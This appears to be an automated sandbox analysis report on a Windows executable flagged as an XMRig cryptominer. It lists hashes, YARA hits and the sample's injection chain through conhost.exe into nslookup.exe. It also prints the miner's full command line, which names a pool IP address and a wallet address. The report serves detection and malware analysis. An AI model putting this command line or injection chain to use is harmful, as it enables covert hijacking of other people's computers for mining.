Analysis
-
max time kernel
129s -
max time network
142s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
01-07-2024 04:22
Static task
static1
Behavioral task
behavioral1
Sample
f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe
Resource
win7-20240508-en
General
-
Target
f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe
-
Size
2.1MB
-
MD5
c19539600ebf2db5e6c737f54947aed6
-
SHA1
50ab2dac58f9465764044025bafc0e80efda4560
-
SHA256
f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8
-
SHA512
9787796350419ca30cc71d35901f2534fe0c86fd35891bf2443881cd898032d8e9fecce81039e7b0b0183d4c8895ff0b0f5796977996df0f13692c04b73734f1
-
SSDEEP
49152:YbYmmWlcWA2+SWwcCGLqROj1fZ6ejfbIQ9JuI8ig7l21O:6mYcWAUWzCqM68ejbx9o1zl2
Malware Config
Signatures
-
XMRig Miner payload 14 IoCs
Processes:
resource yara_rule behavioral2/memory/1044-11-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-14-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-9-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-8-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-17-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-18-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-20-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-19-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-16-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-21-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-24-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-25-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-26-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1044-27-0x0000000140000000-0x0000000140786000-memory.dmp xmrig -
Suspicious use of SetThreadContext 1 IoCs
Processes:
conhost.exedescription pid process target process PID 1164 set thread context of 1044 1164 conhost.exe nslookup.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
conhost.exenslookup.exedescription pid process Token: SeDebugPrivilege 1164 conhost.exe Token: SeLockMemoryPrivilege 1044 nslookup.exe Token: SeLockMemoryPrivilege 1044 nslookup.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.execonhost.exedescription pid process target process PID 1536 wrote to memory of 1164 1536 f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe conhost.exe PID 1536 wrote to memory of 1164 1536 f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe conhost.exe PID 1536 wrote to memory of 1164 1536 f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe conhost.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe PID 1164 wrote to memory of 1044 1164 conhost.exe nslookup.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe"C:\Users\Admin\AppData\Local\Temp\f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\nslookup.exeC:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=47.76.24.49:19999 --user=472uBFn7ubw43vE8dfC4rjQR1bWLwHMHVFpVrgjmmBe3DFfXEDn48AzfjxtZEji9oWU6NPSARKZkfAWXJa6edjhXG3eMWaX --pass=happy --cpu-max-threads-hint=70 --cinit-idle-wait=5 --cinit-idle-cpu=803⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1044-18-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-29-0x000002B01B940000-0x000002B01B960000-memory.dmpFilesize
128KB
-
memory/1044-8-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-32-0x000002B01B920000-0x000002B01B940000-memory.dmpFilesize
128KB
-
memory/1044-17-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-30-0x000002B01B920000-0x000002B01B940000-memory.dmpFilesize
128KB
-
memory/1044-27-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-11-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-13-0x000002B01A020000-0x000002B01A040000-memory.dmpFilesize
128KB
-
memory/1044-14-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-26-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-9-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-31-0x000002B01B940000-0x000002B01B960000-memory.dmpFilesize
128KB
-
memory/1044-25-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-21-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-20-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-19-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-16-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-24-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/1044-23-0x000002B01B900000-0x000002B01B920000-memory.dmpFilesize
128KB
-
memory/1164-0-0x000001FD15890000-0x000001FD15AA8000-memory.dmpFilesize
2.1MB
-
memory/1164-1-0x00007FFEB7ED3000-0x00007FFEB7ED5000-memory.dmpFilesize
8KB
-
memory/1164-15-0x00007FFEB7ED0000-0x00007FFEB8991000-memory.dmpFilesize
10.8MB
-
memory/1164-7-0x00007FFEB7ED0000-0x00007FFEB8991000-memory.dmpFilesize
10.8MB
-
memory/1164-6-0x00007FFEB7ED0000-0x00007FFEB8991000-memory.dmpFilesize
10.8MB
-
memory/1164-5-0x00007FFEB7ED0000-0x00007FFEB8991000-memory.dmpFilesize
10.8MB
-
memory/1164-3-0x000001FD17810000-0x000001FD17822000-memory.dmpFilesize
72KB
-
memory/1164-2-0x000001FD30490000-0x000001FD306A8000-memory.dmpFilesize
2.1MB